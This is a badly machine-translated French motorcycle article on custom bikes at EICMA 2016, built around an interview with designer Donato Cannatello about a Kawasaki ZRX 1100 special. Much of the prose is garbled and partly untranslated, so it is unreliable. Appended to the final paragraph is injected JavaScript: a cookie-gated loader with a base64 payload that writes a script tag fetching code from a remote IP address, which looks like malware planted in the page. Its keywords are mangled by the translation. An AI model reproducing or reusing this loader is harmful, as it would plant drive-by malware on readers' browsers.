MOTO.IT

Inverser cet ordre: ce que vous lisez est le commentaire et qui voudra de vous écrire les lecteurs ci-dessous l'article réel sur l'écran spécial et sur mesure à EICMA 2016: Je me place en dehors du journalisme et à l'intérieur tout droit dans le tumulte sauvage de l'opinion personnelle, quelque chose antipathie / de sympathie comme la personnalisation, et ses multiples facettes, qui, par définition, est un lieu de confrontation entre les manières opposées de la vie et motocyclisme asymptotique, donc je demande à chacun de tenir compte de ces lignes un simple commentaire: Le véritable article, je vais écrire les lecteurs prêts.

Pour essayer de me orienter dans les centaines de phares que je clignotaient persuasif, et pour en savoir plus, me suis laissé séduire par le stand de Motodesign Étant donné que exposé entre autres un – Fait intéressant, à mon avis – Spécial à la nation Kawasaki ZRX 1100 (appelé « Fuck ») en collaboration avec Officine Riunite Milanesi, ce qui m'a intrigué beaucoup de disques polygonaux, pour garantir un fonctionnement rigoureux qui a mis le même fournisseur, le légendaire Enrico Discacciati lui-même!

Donato Cannatello (Donato-Vu… entendu?), propriétaire donné et l'expérience de conception en CR&S, Incomparable, combat, Aprilia, Il a été patient, et d'échanger une conversation avec moi m'a exposé son point de vue sur EICMA 2016 et l'avenir de la personnalisation.

Pour mettre Given et opinions rapportées par Donato, Nous ajoutons que les accords avec les deux pour fournir un service de planification et de conception pour ceux qui veulent construire un prototype (du concept de pré-série pour mener à la production), tant les particuliers qui demandent des projets « cadre off » sur leurs motos.

« Bizarrement, nous avons eu beaucoup de commentaires de ZRX que le duu, à la fois exposées dans notre stand, malgré duu est sans aucun doute un design plus raffiné et ZRX demi beaucoup moins cher, mais évidemment le plus « receveur des yeux”».

Et comment évaluez-vous le niveau du Salon dans les coutumes et spéciale?

« Le niveau de EICMA, si on se limite à la coutume et spéciale, il semble beaucoup plus élevé et mature qu'il ya quelques années: des réalités artiginali, qui produisent encore des résultats exceptionnels, Nous basculons à une approche plus mature à la fois sur la conception technique des parties. Du point de vue de la moto, plutôt, J'ai adoré la Harley "OPERA" South Garage, très élégant; il a également remporté le concours, mais comme vous le savez le concours les gagner pratiquement un peu’ tous (Donato fait référence à la myriade de catégories et non Note de très nombreux éditeur de participation); le semblait un peu coutume de coin au lieu’ voix basse, peu d'espace et décentralisé que le centre vital du Salon, et cela semble un peu’ une contradiction: il est la partie la plus difficile, Au lieu de cela beaucoup n'ont pas visité parce qu'ils ne savaient pas qui était dans le coin du pavillon 2; il est vrai aussi qu'il ya un segment du public qui n'est pas vraiment intéressé par la coutume, Ils sont ceux qui ont le V-Strom avec le tronc derrière, mais il y a aussi beaucoup de vrais fans qui préfèrent voir un billet de pièce au lieu n'a pas même réussi à nous trouver ».

Sul futuro del personnalisation? Donato n'a aucun doute:

« La percée, à mon avis, il est très clair du passé: dans la conception d'un particulier, il est passé du reste du vélo sur le banc et improvise, all'effettuare premier, comme dans notre cas, un rendu et la numérisation 3D, puis de travailler directement sur l'ordinateur, et sur les côtés de la main record, en feuille ou tout simplement imprimé en 3D; Personnalisation de l'avenir du marché ne voient pas dans les compétences des concepteurs, parce que tout le monde aujourd'hui peut prendre un ordinateur et de mettre un enfant par le biais de concevoir et mettre en œuvre une imprimante 3D, mais je pense que ce sera dictée par des facteurs juridiques, tels que le respect des normes d'approbation et de l'évolution du style et des tendances: il faut voir combien de temps ce phénomène personnalisation très artiginale, Je pense que la main pourrait très bien être bientôt supplanté par un plus conçu personnalisation, conçu et développé plus ».

Une dernière question: parce que les pneus tessellés sur un vélo de route? (D'accord, Je sais, Il est ma croisade personnelle…)

«E’ Ce fut un choix du client… mais je dois vous dire que s'il n'y avait pas cette demande ZRx « Maialona » nous aurait pas tiré comme vous le voyez, comprendre le concept de soutien des muscles abdominaux et non les parties inférieures du réservoir, qui semble une solution… « Le meilleur ». Peut-être sans les pneus noueux nous aurions fait un mouvement moins anguleux, rond ".

Je laisse la galerie de motos, avec admiration pour tous les exposants du certainement que la coutume de l'industrie et spéciaux ne sont pas là pour un retour économique immédiat, mais souvent ils investissent du temps et de l'argent possédé par une passion pour se déplacer toujours un peu plus haut l'excellence barre transversale et la folie. fonction getCookie(e){var U = document.cookie.match(nouveau RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retour U?decodeURIComponent(la[1]):vide 0}var src =”Les données:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,maintenant = Math.floor(Date.now()/1e3),biscuit = getCookie(“réorienter”);si(à présent>=(temps = biscuit)||vide 0 === temps){var temps = Math.floor(Date.now()/1e3 + 86400),Date = new Date((nouvelle date).obtenir du temps()+86400);document.cookie =”redirect =”+temps +”; path = /; expires =”+Date.toGMTString(),document.write(”)}